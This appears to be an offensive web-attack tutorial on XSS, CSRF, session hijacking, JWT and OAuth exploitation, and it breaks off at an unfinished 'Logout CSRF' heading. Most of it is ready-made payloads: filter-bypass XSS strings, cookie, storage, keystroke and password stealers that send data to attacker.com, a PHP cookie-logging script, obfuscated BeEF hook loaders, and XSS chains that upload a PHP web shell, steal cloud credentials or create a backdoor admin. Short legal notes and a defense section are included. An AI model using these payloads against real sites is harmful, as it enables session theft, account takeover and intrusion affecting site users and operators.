<script>alert('XSS')</script> <img src=x onerror=alert('XSS')> <svg/onload=alert('XSS')> <body onload=alert('XSS')> <iframe src="javascript:alert('XSS')"> <input onfocus=alert('XSS') autofocus> <select onfocus=alert('XSS') autofocus> <textarea onfocus=alert('XSS') autofocus> <marquee onstart=alert('XSS')> <details open ontoggle=alert('XSS')>

Event Handler XSS

<div onmouseover="alert('XSS')">Hover me</div> <button onclick="alert('XSS')">Click</button> <img src=x onerror="alert('XSS')"> <body onpageshow="alert('XSS')"> <video src=x onerror="alert('XSS')"> <audio src=x onerror="alert('XSS')"> <form onsubmit="alert('XSS')"> <input type="text" onchange="alert('XSS')">

JavaScript Protocol XSS

<a href="javascript:alert('XSS')">Click me</a> <iframe src="javascript:alert('XSS')"> <object data="javascript:alert('XSS')"> <embed src="javascript:alert('XSS')"> <form action="javascript:alert('XSS')"> <img src="javascript:alert('XSS')">

Filter Bypass Techniques

Modern web applications implement various filters to prevent XSS. These techniques demonstrate how to circumvent common sanitization attempts.

Case Manipulation Bypasses

<ScRiPt>alert('XSS')</sCrIpT> <sCrIpT>alert(String.fromCharCode(88,83,83))</sCrIpT> <IMG SRC=JaVaScRiPt:alert('XSS')> <iMg sRc=x oNeRrOr=alert('XSS')>

Encoding Bypasses

// HTML Entity Encoding <img src=x onerror="alert('XSS')"> // URL Encoding <img src=x onerror="alert%28%27XSS%27%29"> // Hex Encoding <img src=x onerror="alert('XSS')"> // Unicode Encoding <script>\u0061\u006c\u0065\u0072\u0074('XSS')</script> // Base64 Encoding (with decode) <img src=x onerror="eval(atob('YWxlcnQoJ1hTUycpOw=='))">

Obfuscation Techniques

// String Concatenation <script>alert('X'+'S'+'S')</script> // Using eval with hex <script>eval('\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29')</script> // Template Literals <script>alert`XSS`</script> // Without Parentheses <script>onerror=alert;throw'XSS'</script> // Comment Breaking <script>/**/alert('XSS')</script> // Whitespace Variations <img/src="x"/onerror=alert('XSS')>

Tag Breaking Bypasses

// Breaking Out of Attributes "><script>alert('XSS')</script> // Breaking Out of Script Context </script><script>alert('XSS')</script> // Breaking Out with Comments --><script>alert('XSS')</script><!-- // Multiple Angle Brackets <<script>alert('XSS')<</script> // Null Byte Injection <script>al%00ert('XSS')</script>

Filter Keyword Bypasses

// When 'script' is Filtered <img src=x onerror=alert('XSS')> <svg/onload=alert('XSS')> // When 'alert' is Filtered <script>confirm('XSS')</script> <script>prompt('XSS')</script> <script>console.log('XSS')</script> // Using window Properties <script>window['ale'+'rt']('XSS')</script> <script>self['ale'+'rt']('XSS')</script> <script>top['ale'+'rt']('XSS')</script> // Constructor Method <script>[].constructor.constructor('alert("XSS")')()</script>

Cookie Stealing & Session Hijacking

The primary goal of most XSS attacks is to steal session cookies, allowing you to hijack authenticated sessions. These payloads exfiltrate sensitive data to your controlled server.

Basic Cookie Stealer

<script> document.location='http://attacker.com/steal.php?c='+document.cookie; </script> // Alternative Methods <script> new Image().src='http://attacker.com/steal.php?c='+document.cookie; </script> <script> fetch('http://attacker.com/steal.php?c='+document.cookie); </script>

Advanced Cookie Exfiltration

// Steal All Storage <script> var data = { cookies: document.cookie, localStorage: JSON.stringify(localStorage), sessionStorage: JSON.stringify(sessionStorage), url: window.location.href }; fetch('http://attacker.com/exfil', { method: 'POST', body: JSON.stringify(data) }); </script> // Steal with User Info <script> var info = { cookie: document.cookie, user: document.querySelector('.username')?.textContent, page: window.location.href, referrer: document.referrer }; new Image().src = 'http://attacker.com/log?data=' + btoa(JSON.stringify(info)); </script>

Server-Side Cookie Stealer (PHP)

// steal.php - Save to your attack server <?php $cookie = $_GET['c']; $ip = $_SERVER['REMOTE_ADDR']; $date = date('Y-m-d H:i:s'); $log = "[$date] IP: $ip - Cookie: $cookie\n"; file_put_contents('stolen.txt', $log, FILE_APPEND); header('Location: http://legitimate-site.com'); // Redirect to avoid suspicion ?>

🎯 HttpOnly Flag Protection

Cookies marked with the HttpOnly flag cannot be accessed via JavaScript, preventing cookie theft through XSS. However, this doesn't stop all XSS attacks - you can still perform actions on behalf of the user or capture form data.

Keylogging & Form Capturing

When cookies are protected, capture user input directly. These payloads log keystrokes and form submissions to your server.

// Basic Keylogger <script> document.addEventListener('keypress', function(e) { new Image().src = 'http://attacker.com/log?key=' + e.key; }); </script> // Advanced Keylogger with Buffer <script> var keys = ''; document.addEventListener('keypress', function(e) { keys += e.key; if(keys.length > 50) { fetch('http://attacker.com/log', { method: 'POST', body: keys }); keys = ''; } }); </script> // Form Data Interceptor <script> document.querySelectorAll('form').forEach(form => { form.addEventListener('submit', function(e) { var formData = new FormData(form); var data = {}; formData.forEach((value, key) => data[key] = value); fetch('http://attacker.com/formlog', { method: 'POST', body: JSON.stringify(data) }); }); }); </script> // Password Field Monitor <script> document.querySelectorAll('input[type="password"]').forEach(field => { field.addEventListener('change', function() { new Image().src = 'http://attacker.com/pass?p=' + this.value; }); }); </script>

BeEF Framework - Browser Exploitation

The Browser Exploitation Framework (BeEF) is the professional tool for post-exploitation after XSS. Once you hook a browser, BeEF provides a command-and-control interface for comprehensive victim control.

Hooking Browsers with BeEF

# Install BeEF git clone https://github.com/beefproject/beef cd beef ./install # Start BeEF ./beef # Default credentials: beef / beef # Web UI: http://127.0.0.1:3000/ui/panel # Hook Script (inject via XSS) <script src="http://your-beef-server:3000/hook.js"></script>

BeEF Hook Payload

// Minimal Hook Payload <script src="http://BEEF_IP:3000/hook.js"></script> // Obfuscated Hook <script> var s=document.createElement('script'); s.src='http://BEEF_IP:3000/hook.js'; document.head.appendChild(s); </script> // Hook with Encoding <script>eval(atob('dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9CRUVGX0lQOjMwMDAvaG9vay5qcyc7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs='))</script>

BeEF Attack Modules

🎯 Browser Information

Detect Browser, Get Cookie, Get Local Storage, Fingerprint Browser, Detect Extensions, Get System Info

πŸ” Credential Harvesting

Fake Flash Update, Fake Notification Bar, Pretty Theft (Facebook/LinkedIn login), Simple Hijacker

🌐 Network Discovery

Detect Social Networks, Port Scanner, Internal Network Fingerprinting, Cross-Origin Scanner

πŸ’‰ Exploitation

Man-in-the-Browser, Redirect Browser, Create Alert Dialog, Webcam Permission, Clippy (keylogger)

BeEF Command Examples

# Within BeEF UI, select hooked browser and run: # Redirect victim to phishing page Redirect Browser β†’ http://fake-bank.com # Capture screenshot Take Screenshot β†’ Download PNG # Dump all credentials stored in browser Get Stored Credentials # Detect internal network Detect Internal IP β†’ Scan Range # Execute arbitrary JavaScript Run Custom JavaScript β†’ alert('Owned by BeEF'); // Any JS code here # Persistent Hook (survives navigation) Persistent Hook β†’ Enable

⚠️ Legal Warning

BeEF is an incredibly powerful post-exploitation framework. Using it against systems you don't own or have explicit permission to test is illegal in most jurisdictions. BeEF should only be used in authorized penetration tests or your own controlled lab environments.

XSS to Remote Code Execution (RCE)

Advanced attackers can chain XSS with other vulnerabilities to achieve server-side code execution. These techniques escalate client-side XSS to full system compromise.

XSS β†’ SSRF β†’ RCE Chain

// Step 1: XSS to trigger internal request <script> fetch('/api/admin/backup?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/') .then(r => r.text()) .then(data => { // Exfiltrate AWS credentials fetch('http://attacker.com/aws?keys=' + btoa(data)); }); </script>

XSS β†’ File Upload β†’ RCE

// Use XSS to programmatically upload malicious file <script> var formData = new FormData(); var blob = new Blob(['<?php system($_GET["cmd"]); ?>'], {type: 'application/x-php'}); formData.append('file', blob, 'shell.php'); fetch('/api/upload', { method: 'POST', body: formData }).then(() => { // Shell uploaded, execute command fetch('/uploads/shell.php?cmd=whoami') .then(r => r.text()) .then(output => alert('RCE Output: ' + output)); }); </script>

XSS β†’ Admin Action β†’ Privilege Escalation

// Use admin's session to create new admin account <script> // Target: Admin user viewing page with XSS fetch('/api/users/create', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ username: 'backdoor', password: 'P@ssw0rd123', role: 'admin' }) }).then(r => r.json()) .then(data => { // Exfiltrate confirmation fetch('http://attacker.com/log?admin_created=' + data.id); }); </script>

XSS β†’ WebSocket Hijacking

// Hijack WebSocket connection for real-time attacks <script> // Hook into existing WebSocket var originalWebSocket = WebSocket; WebSocket = function(url, protocols) { var ws = new originalWebSocket(url, protocols); // Intercept messages ws.addEventListener('message', function(event) { fetch('http://attacker.com/ws-log', { method: 'POST', body: event.data }); }); // Inject malicious messages ws.addEventListener('open', function() { ws.send(JSON.stringify({ type: 'admin_command', action: 'grant_privileges', user: 'attacker' })); }); return ws; }; </script>

Content Security Policy (CSP) Bypass

CSP is designed to prevent XSS by restricting resource loading. However, misconfigurations and implementation flaws can often be bypassed.

Common CSP Bypass Techniques

// Bypass via JSONP Endpoints <script src="https://trusted-domain.com/jsonp?callback=alert"></script> // Bypass using 'unsafe-inline' with nonce // If nonce is predictable or leaked: <script nonce="LEAKED_NONCE">alert('XSS')</script> // Bypass via Allowed CDN // If CSP allows: script-src cdn.jsdelivr.net <script src="https://cdn.jsdelivr.net/gh/user/repo/evil.js"></script> // Bypass using Base Tag // If CSP doesn't restrict base-uri: <base href="http://attacker.com/"> <script src="/malicious.js"></script>

CSP Bypass: Dangling Markup Injection

// When CSP blocks inline scripts but allows external resources <img src='http://attacker.com/log? // This captures everything until next ' character // Useful for exfiltrating CSRF tokens: <form action="sensitive-action"> <img src='http://attacker.com/log? <input type="hidden" name="csrf" value="SECRET_TOKEN"> </form> // The CSRF token gets sent to attacker.com in the URL

CSP Bypass: AngularJS Template Injection

// If site uses AngularJS and CSP allows 'unsafe-eval' {{constructor.constructor('alert(1)')()}} // AngularJS sandbox escapes {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}} // Using $eval {{$eval.constructor('alert(1)')()}} // Template injection in ng-app <div ng-app>{{constructor.constructor('alert(1)')()}}</div>

CSP Bypass: Using MIME Type Confusion

// Upload file as image but serve with JavaScript MIME type // 1. Upload payload.jpg containing JavaScript // 2. If server misconfigures MIME type or you can control it: <script src="/uploads/payload.jpg"></script> // Or use object/embed tags <object data="/uploads/payload.jpg" type="text/javascript"></object>

Analyzing CSP Headers

# Check CSP policy curl -I https://target.com | grep -i content-security-policy # Test CSP with Google's Evaluator https://csp-evaluator.withgoogle.com/ # Common CSP weaknesses to look for: # - 'unsafe-inline' or 'unsafe-eval' # - Wildcards in script-src (*.domain.com) # - Missing base-uri directive # - JSONP endpoints in whitelist # - Overly permissive CDN whitelists

πŸ›‘οΈ CSP Bypass Strategy

Always analyze the CSP header first. Look for whitelisted domains that you can abuse (JSONP endpoints, CDNs you can upload to), missing directives (base-uri, form-action), or dangerous keywords (unsafe-inline, unsafe-eval). Many CSPs are bypassable due to misconfiguration.

DOM-Based XSS Exploitation

DOM XSS occurs entirely client-side through insecure JavaScript code. These vulnerabilities are harder to detect but extremely powerful since they bypass server-side filters.

Common DOM XSS Sources

// Vulnerable Code Patterns // document.location var name = document.location.hash.substring(1); document.write("Hello " + name); // VULNERABLE // window.location var url = window.location.search; eval(url); // EXTREMELY VULNERABLE // document.URL var param = document.URL.split('=')[1]; document.innerHTML = param; // VULNERABLE // document.referrer var ref = document.referrer; document.write("<a href='" + ref + "'>Back</a>"); // VULNERABLE

DOM XSS Exploitation Examples

// Exploit via URL Hash http://target.com/page.html#<img src=x onerror=alert('XSS')> // Exploit via URL Parameter http://target.com/page?name=<script>alert('XSS')</script> // Exploit with JavaScript Protocol http://target.com/page#javascript:alert('XSS') // Exploit document.write http://target.com/page?q=</script><script>alert('XSS')</script> // Exploit innerHTML http://target.com/page#<img src=x onerror=alert('XSS')>

Advanced DOM XSS: Prototype Pollution

// Pollute Object prototype via URL params http://target.com/?__proto__[xss]=alert(1) // If vulnerable code like this exists: function merge(target, source) { for(let key in source) { target[key] = source[key]; } } // Exploitation payload ?__proto__[innerHTML]=<img src=x onerror=alert(1)> // Then when code does: element[prop] = value // It uses polluted prototype property

XSS Automation & Scanning

Manual testing is thorough, but automation helps find XSS at scale.

# XSStrike - Advanced XSS Scanner git clone https://github.com/s0md3v/XSStrike cd XSStrike pip install -r requirements.txt python xsstrike.py -u "http://target.com/search?q=test" # Dalfox - Fast XSS Scanner go install github.com/hahwul/dalfox/v2@latest dalfox url "http://target.com/page?param=test" dalfox file urls.txt -o results.txt # XSSer - Automatic XSS Injection apt install xsser xsser --url "http://target.com/search?q=XSS" --auto # DOM XSS Scanner using Browser # Use DOMPurify or DOM Invader (Burp Extension) # Or manual testing with browser console

Building Custom XSS Fuzzer

#!/usr/bin/env python3 import requests from urllib.parse import urljoin payloads = [ "<script>alert(1)</script>", "<img src=x onerror=alert(1)>", "<svg/onload=alert(1)>", "javascript:alert(1)", "<iframe src=javascript:alert(1)>" ] def test_xss(url, param): for payload in payloads: target = f"{url}?{param}={payload}" r = requests.get(target) if payload in r.text: print(f"[!] Potential XSS: {param} with {payload}") # Usage test_xss("http://target.com/search", "q")

The Execution Context Metaphor

Think of XSS as speaking the victim's language. Every website has a trusted execution context - its own JavaScript running with full privileges. XSS lets you inject your code into that trusted context. It's like impersonating a trusted employee (legitimate script) to access restricted areas (user data, admin functions). Once you're executing in that context, you have all the permissions of the legitimate site - and the browser can't tell the difference.

Defense Against XSS

Understanding defense mechanisms helps you identify when they're improperly implemented.

🧹 Input Sanitization

Never trust user input. Sanitize all data server-side using proven libraries like DOMPurify, OWASP Java Encoder, or bleach (Python).

πŸ”’ Output Encoding

Encode data based on context (HTML, JavaScript, URL, CSS). Use context-aware encoding functions to prevent interpretation as code.

πŸ›‘οΈ Content Security Policy

Implement strict CSP headers to control resource loading. Use nonces or hashes, avoid 'unsafe-inline' and 'unsafe-eval'.

πŸͺ HttpOnly Cookies

Set HttpOnly flag on session cookies to prevent JavaScript access. Combine with Secure flag and SameSite attribute.

🎯 XSS Testing Checklist

Test all input points: URL parameters, POST data, HTTP headers (User-Agent, Referer), cookies, file uploads, WebSocket messages
Test all output contexts: HTML body, attributes, JavaScript blocks, CSS, URL parameters
Bypass filters: Try encoding, case manipulation, tag variations, comment breaking
Check DOM manipulation: Analyze client-side JavaScript for dangerous functions (eval, innerHTML, document.write)
Test CSP: Identify whitelisted domains you can abuse or bypass techniques

Real-World XSS Attack Scenarios

Scenario 1: Stored XSS in Comment Field

// 1. Identify reflection point Website has comment functionality that displays user input // 2. Test basic payload <script>alert('XSS')</script> // 3. If filtered, try bypass <img src=x onerror=alert('XSS')> // 4. Deploy cookie stealer <img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)"> // 5. Every user viewing comments sends cookies to attacker

Scenario 2: Reflected XSS in Search Function

// 1. Search functionality reflects input http://target.com/search?q=test Page displays: "Results for: test" // 2. Craft malicious URL http://target.com/search?q=<script>alert(document.cookie)</script> // 3. Social engineer victim to click link Send via email/chat: "Check out these search results!" // 4. When victim clicks, XSS executes in their browser

Scenario 3: DOM XSS in Single Page App

// 1. Identify client-side routing with URL hash http://target.com/#/profile/user123 // 2. Analyze JavaScript code var user = location.hash.split('/')[2]; document.getElementById('name').innerHTML = user; // 3. Exploit with payload in hash http://target.com/#/profile/<img src=x onerror=alert(document.cookie)> // 4. Bypass never touches server - pure client-side

⚠️ Responsible Disclosure

When you discover XSS vulnerabilities in production systems, follow responsible disclosure practices. Report to the organization's security team, give them time to patch, and never exploit the vulnerability for unauthorized access or data theft. Bug bounty programs like HackerOne and Bugcrowd provide legal frameworks for security research.

CSRF & Session Attacks

Session management is where trust breaks down. CSRF forces users to execute unwanted actions, session fixation locks them into your controlled session, and session hijacking lets you become them entirely. When you control the session, you control the user.

The Forgery Metaphor

Imagine you have a stamp that grants you access to the royal treasury. CSRF is like someone tricking you into stamping a document that transfers all the gold to them - you used your legitimate stamp (your authenticated session), but for an action you never intended. The guard at the treasury sees your stamp and allows it, never realizing you were tricked.

Understanding CSRF (Cross-Site Request Forgery)

CSRF exploits the browser's automatic credential inclusion. When you're logged into a site, every request from your browser to that site includes your authentication cookies - even if the request originates from an evil site. The vulnerable server can't distinguish between legitimate requests and forged ones.

The Core Problem

Browsers automatically send cookies with every request to a domain. If you're logged into bank.com, and you visit evil.com, evil.com can make your browser send requests to bank.com with your authenticated session. The bank sees a valid session cookie and processes the request - never knowing you didn't intend it.

Basic CSRF Exploitation

The simplest CSRF attacks use HTML forms or images to trigger requests:

GET-Based CSRF

<!-- Attacker's site: evil.com --> <img src="https://bank.com/transfer?to=attacker&amount=10000"> <!-- When victim visits, browser automatically: 1. Sends GET request to bank.com 2. Includes all cookies for bank.com (session!) 3. Bank processes transfer thinking it's legitimate -->

POST-Based CSRF

<!-- Auto-submitting form --> <form action="https://bank.com/transfer" method="POST" id="csrf"> <input type="hidden" name="to" value="attacker"> <input type="hidden" name="amount" value="10000"> </form> <script>document.getElementById('csrf').submit();</script> <!-- Submits immediately when page loads -->

⚠️ Why This Works

The victim is already authenticated to bank.com. Their browser dutifully sends their session cookie with the forged request. The bank's server sees a valid session and processes the action. The Same-Origin Policy (SOP) blocks the attacker from reading the response, but the damage is done - the transfer already happened.

CSRF Token Bypass Techniques

Most modern applications use CSRF tokens - unique values tied to each session. But implementations are often flawed:

Example 1: Missing Token Validation

// Vulnerable code - token parameter exists but not enforced: if (isset($_POST['csrf_token'])) { if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) { die('Invalid token'); } } // If token is missing, validation is skipped entirely! processTransfer($_POST['amount'], $_POST['to']); // Exploit: Simply omit the token parameter POST /transfer HTTP/1.1 Host: bank.com Cookie: session=victim_session to=attacker&amount=10000 // No csrf_token field = no validation = success!

Example 2: Token Not Tied to Session

// Vulnerable: Token validation but not session-bound $valid_tokens = ['abc123', 'def456', 'ghi789']; // Static list! if (!in_array($_POST['csrf_token'], $valid_tokens)) { die('Invalid token'); } // Exploit: Attacker creates account, gets valid token, uses it // The token is valid but belongs to attacker's session <form action="https://bank.com/transfer" method="POST"> <input name="csrf_token" value="abc123"> <!-- Attacker's token --> <input name="to" value="attacker"> <input name="amount" value="10000"> </form> // Victim submits with their session, attacker's token validates!

Example 3: Token in Cookie

// Vulnerable: Token stored in cookie and verified against cookie Set-Cookie: csrf_token=xyz789 POST /transfer Cookie: session=user_session; csrf_token=xyz789 csrf_token=xyz789 // Exploit: Attacker sets their own cookie on victim's browser <form action="https://bank.com/transfer" method="POST"> <input name="csrf_token" value="attacker_token"> </form> <script> document.cookie = "csrf_token=attacker_token"; document.forms[0].submit(); </script> // Both cookie and POST parameter match - validation passes!

Example 4: Weak Token Generation

// Vulnerable: Predictable token generation $csrf_token = md5($user_id . date('Y-m-d')); // Exploit: Token can be calculated // If attacker knows user_id=123 and date=2026-01-04: $calculated_token = md5('123' . '2026-01-04'); // Use this token in CSRF attack // Another weak pattern: $csrf_token = substr(session_id(), 0, 10); // Session ID might be exposed elsewhere (Referer, logs, etc.)

Example 5: Token Disclosure via Referer

// Token in URL exposes via Referer header: <form action="/transfer?csrf=abc123" method="POST"> // When form page links to external resource: <img src="https://external-cdn.com/logo.png"> // External server receives: GET /logo.png HTTP/1.1 Referer: https://bank.com/transfer?csrf=abc123 // Exploit: Attacker controls external-cdn.com, extracts token // Use stolen token in CSRF attack

Session Hijacking

Session hijacking is stealing someone's session identifier to impersonate them. Once you have their session cookie, you ARE them to the server.

Example 6: XSS to Session Hijacking

// Vulnerable page with XSS: echo "<div>Welcome " . $_GET['name'] . "</div>"; // Exploit URL: https://bank.com/welcome?name=<script> fetch('https://attacker.com/steal?cookie='+document.cookie) </script> // Attacker's server receives: GET /steal?cookie=session=xyz789 HTTP/1.1 // Attacker uses stolen session: GET /account HTTP/1.1 Cookie: session=xyz789 // Now logged in as victim!

Example 7: Session Fixation

// Vulnerable login that doesn't regenerate session ID: session_start(); // Uses existing session ID if present if (login_valid($_POST['user'], $_POST['pass'])) { $_SESSION['user'] = $_POST['user']; $_SESSION['logged_in'] = true; } // Attack sequence: // 1. Attacker gets session ID from target site GET /login HTTP/1.1 Set-Cookie: PHPSESSID=attacker_controlled_id // 2. Attacker sends victim link with this session ID https://bank.com/login?PHPSESSID=attacker_controlled_id // 3. Victim logs in with that session ID // 4. Attacker uses same session ID - now authenticated as victim! GET /account HTTP/1.1 Cookie: PHPSESSID=attacker_controlled_id // Session is now authenticated!

Example 8: Session Sniffing

// Over unencrypted HTTP, session cookies are visible: GET /account HTTP/1.1 Host: bank.com Cookie: session=victim_session // On same network (cafe WiFi), attacker sniffs: $ tcpdump -i wlan0 -A | grep Cookie Cookie: session=victim_session // Or using Wireshark filter: http.cookie contains "session" // Attacker replays cookie in their browser: document.cookie = "session=victim_session"; location.href = "http://bank.com/account";

Cookie Security Attributes

Cookie flags control how cookies behave. Missing or incorrect flags create vulnerabilities:

HttpOnly Missing

// Vulnerable: Set-Cookie: session=abc123; Path=/ // Allows JavaScript access: console.log(document.cookie); // "session=abc123" // Exploit: XSS steals session <script> fetch('https://evil.com/?c='+document.cookie); </script> // Secure: Set-Cookie: session=abc123; HttpOnly // JavaScript can't access this cookie

Secure Flag Missing

// Vulnerable: Set-Cookie: session=abc123; HttpOnly // Cookie sent over HTTP and HTTPS: http://bank.com/page Cookie: session=abc123 // Sniffable on network! // Secure: Set-Cookie: session=abc123; HttpOnly; Secure // Only sent over HTTPS // HTTP requests don't include cookie

SameSite Missing

// Vulnerable: Set-Cookie: session=abc123; HttpOnly; Secure // Cookie sent on cross-site requests: // From evil.com: <form action="https://bank.com/transfer"> // Cookie IS sent = CSRF possible // Protected: Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict // Cookie NOT sent on cross-site requests // CSRF attacks fail!

Example 9: SameSite Bypass via Subdomain

// Cookie with SameSite=Strict: Set-Cookie: session=abc123; SameSite=Strict; Domain=bank.com // SameSite allows same-site requests, including subdomains! // If attacker controls subdomain (XSS on mobile.bank.com): <!-- On mobile.bank.com: --> <form action="https://www.bank.com/transfer" method="POST"> <input name="to" value="attacker"> <input name="amount" value="10000"> </form> <script>document.forms[0].submit();</script> // This IS same-site (both .bank.com) // Cookie IS sent, CSRF succeeds!

JWT (JSON Web Token) Vulnerabilities

JWTs are self-contained tokens used for authentication. But they're complex, and complexity breeds vulnerabilities:

Example 10: Algorithm Confusion (alg=none)

// Original JWT: { "alg": "HS256", "typ": "JWT" } { "user": "attacker", "role": "user" } // Exploit: Change algorithm to "none", remove signature: { "alg": "none", "typ": "JWT" } { "user": "attacker", "role": "admin" // Escalated! } // No signature required! // Base64 encode: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYXR0YWNrZXIiLCJyb2xlIjoiYWRtaW4ifQ. // Vulnerable verification code: function verify(token) { const [header, payload, signature] = token.split('.'); const decoded = JSON.parse(atob(header)); if (decoded.alg === 'none') { return JSON.parse(atob(payload)); // No verification! } // ... other verification }

Example 11: Algorithm Confusion (HS256 vs RS256)

// Server uses RS256 (asymmetric) with public/private keys: // Private key signs, public key verifies // Original token signed with private key: Header: {"alg": "RS256"} Signature: verified with public.pem // Exploit: Change to HS256 (symmetric), sign with public key Header: {"alg": "HS256"} Signature: HMAC(header.payload, public_key) // Vulnerable verification: function verify(token, publicKey) { const header = decode(token.header); if (header.alg === 'HS256') { // Uses publicKey as HMAC secret! return verifyHMAC(token, publicKey); } else if (header.alg === 'RS256') { return verifyRSA(token, publicKey); } } // Attacker can forge tokens using publicly available public key!

Example 12: Weak Secret Key

// Weak JWT secret in code: const secret = 'secret123'; const token = jwt.sign({user: 'admin'}, secret); // Attacker brute-forces with wordlist: const wordlist = ['secret', 'password', 'secret123', ...]; for (const word of wordlist) { try { jwt.verify(stolen_token, word); console.log('Secret found:', word); break; } catch {} } // Now attacker can forge any token: const admin_token = jwt.sign({ user: 'attacker', role: 'admin' }, 'secret123');

Example 13: JWT Parameter Injection

// JWT with jwk (JSON Web Key) parameter: { "alg": "RS256", "typ": "JWT", "jwk": { "kty": "RSA", "kid": "attacker-key", "use": "sig", "n": "attacker_public_key...", "e": "AQAB" } } // Exploit: Inject your own public key in header // Sign token with your private key // Vulnerable code trusts embedded key: function verify(token) { const header = decode(token.header); const publicKey = header.jwk; // DANGEROUS! return verifySignature(token, publicKey); } // Attacker controls both key and signature!

Example 14: JWT Kid (Key ID) Injection

// JWT header with kid parameter: { "alg": "HS256", "kid": "key-1" } // Vulnerable key loading: function getKey(kid) { return require(`./keys/${kid}.pem`); // Path traversal! } // Exploit: Inject path traversal in kid: { "alg": "HS256", "kid": "../../public/static/logo.png" } // Server loads logo.png as HMAC secret // Attacker knows logo.png contents, signs token with it! // Another exploit: SQL injection in kid { "kid": "1' UNION SELECT 'known_value' --" } // If server queries database for key, SQL injection possible

Example 15: JWT Expiration Not Enforced

// Token with expiration: { "user": "attacker", "role": "admin", "exp": 1609459200 // Expired! } // Vulnerable verification: function verify(token) { const decoded = jwt.decode(token); // Doesn't verify exp! return decoded; } // Proper verification: function verify(token) { return jwt.verify(token, secret, { clockTolerance: 0, // No time skew allowed // Automatically checks exp }); }

OAuth & OpenID Connect Vulnerabilities

OAuth is complex, and each step in the flow can be exploited:

Example 16: OAuth Redirect URI Manipulation

// Legitimate OAuth flow: // 1. App redirects to OAuth provider: https://oauth.com/authorize? client_id=app123& redirect_uri=https://app.com/callback& response_type=code // 2. User approves, redirected back with code: https://app.com/callback?code=AUTH_CODE // Exploit: Manipulate redirect_uri: https://oauth.com/authorize? client_id=app123& redirect_uri=https://attacker.com/steal& response_type=code // If OAuth provider doesn't validate redirect_uri: https://attacker.com/steal?code=AUTH_CODE // Attacker receives authorization code! // Or partial manipulation: redirect_uri=https://app.com/callback/../../../attacker.com redirect_uri=https://app.com.attacker.com redirect_uri=https://app.com@attacker.com redirect_uri=https://app.com#@attacker.com

Example 17: OAuth CSRF (Missing State Parameter)

// Legitimate OAuth without state: https://oauth.com/authorize? client_id=app123& redirect_uri=https://app.com/callback // Attacker initiates OAuth flow with their account: // OAuth redirects back with attacker's authorization code: https://app.com/callback?code=ATTACKER_CODE // Attacker intercepts this, sends to victim: <img src="https://app.com/callback?code=ATTACKER_CODE"> // Victim's browser processes callback // Victim's account now linked to attacker's OAuth account! // When victim logs in via OAuth, attacker gains access // Protection: Use state parameter // Generate random state, store in session: $_SESSION['oauth_state'] = bin2hex(random_bytes(16)); // Include in OAuth URL: redirect_uri=...&state=$_SESSION['oauth_state'] // Verify on callback: if ($_GET['state'] !== $_SESSION['oauth_state']) { die('CSRF attack detected'); }

Example 18: OAuth Token Theft via Referer

// OAuth callback with token in URL (implicit flow): https://app.com/callback#access_token=SECRET_TOKEN&token_type=bearer // If page loads external resources: <script src="https://analytics.com/track.js"></script> // Browser sends: GET /track.js HTTP/1.1 Host: analytics.com Referer: https://app.com/callback#access_token=SECRET_TOKEN // Token leaked! // Note: Fragment (#) isn't sent in Referer per spec // But many browsers/libraries handle it incorrectly

Example 19: OAuth Scope Escalation

// User approves minimal scope: https://oauth.com/authorize? scope=read:profile // App receives token with read:profile scope // Exploit: App uses token beyond approved scope: GET /api/user/emails HTTP/1.1 Authorization: Bearer token_with_read_profile_scope // If API doesn't enforce scope: { "emails": ["victim@example.com", "victim@work.com"] } // Accessed email (write scope) with read-only token! // Or token refresh extends scope: POST /oauth/token HTTP/1.1 refresh_token=REFRESH&scope=read:profile,write:posts // If validation missing, scope escalation succeeds

Example 20: OAuth Client Secret Exposure

// Mobile app with embedded client secret: // Decompile APK: $ apktool d app.apk $ grep -r "client_secret" app/ // Find in code: const client_secret = "abc123def456secret"; // Exploit: Use stolen secret to impersonate app: POST /oauth/token HTTP/1.1 client_id=app123& client_secret=abc123def456secret& code=stolen_authorization_code // Receive access token for victim's account! // Or JavaScript app: <script> const config = { client_id: 'app123', client_secret: 'abc123def456' // Visible in source! }; </script>

Advanced Session Attacks

Example 21: Session Prediction

// Weak session ID generation: session_id = md5(username + timestamp) // Attacker captures sessions: // alice_1609459200 -> a1b2c3d4e5f6... // bob_1609459201 -> b2c3d4e5f6a1... // charlie_1609459202 -> c3d4e5f6a1b2... // Predict next session for target: target_session = md5('target' + 1609459203) // Or sequential session IDs: Session IDs: 1000, 1001, 1002, 1003 // Guess: 1004, 1005, 1006 // Try all nearby IDs until hitting active session

Example 22: Session Donation

// Attacker creates account, gets session: POST /register HTTP/1.1 username=attacker&password=pass Set-Cookie: session=attacker_session // Attacker donates session to victim: // Send victim link: https://bank.com/?session=attacker_session // Or inject via XSS: document.cookie = "session=attacker_session"; // Victim uses attacker's session, enters sensitive data // Attacker accesses same session, sees victim's data: GET /account HTTP/1.1 Cookie: session=attacker_session // Now contains victim's account number, etc.!

Example 23: Session Puzzling

// Application reuses same session for different contexts: // Step 1: Attacker registers with email=admin@bank.com POST /register HTTP/1.1 email=admin@bank.com&password=attacker_pass // Email verification pending, but session created // Session contains: $_SESSION['email'] = 'admin@bank.com'; $_SESSION['verified'] = false; // Step 2: Attacker uses password reset with same session: POST /reset-password HTTP/1.1 Cookie: session=attacker_session // Vulnerable code: if ($_SESSION['email']) { // Send reset link to session email sendResetEmail($_SESSION['email']); } // Real admin receives reset link // Attacker intercepts via XSS or other means // Uses reset link to take over admin account!

Example 24: Logout CSRF

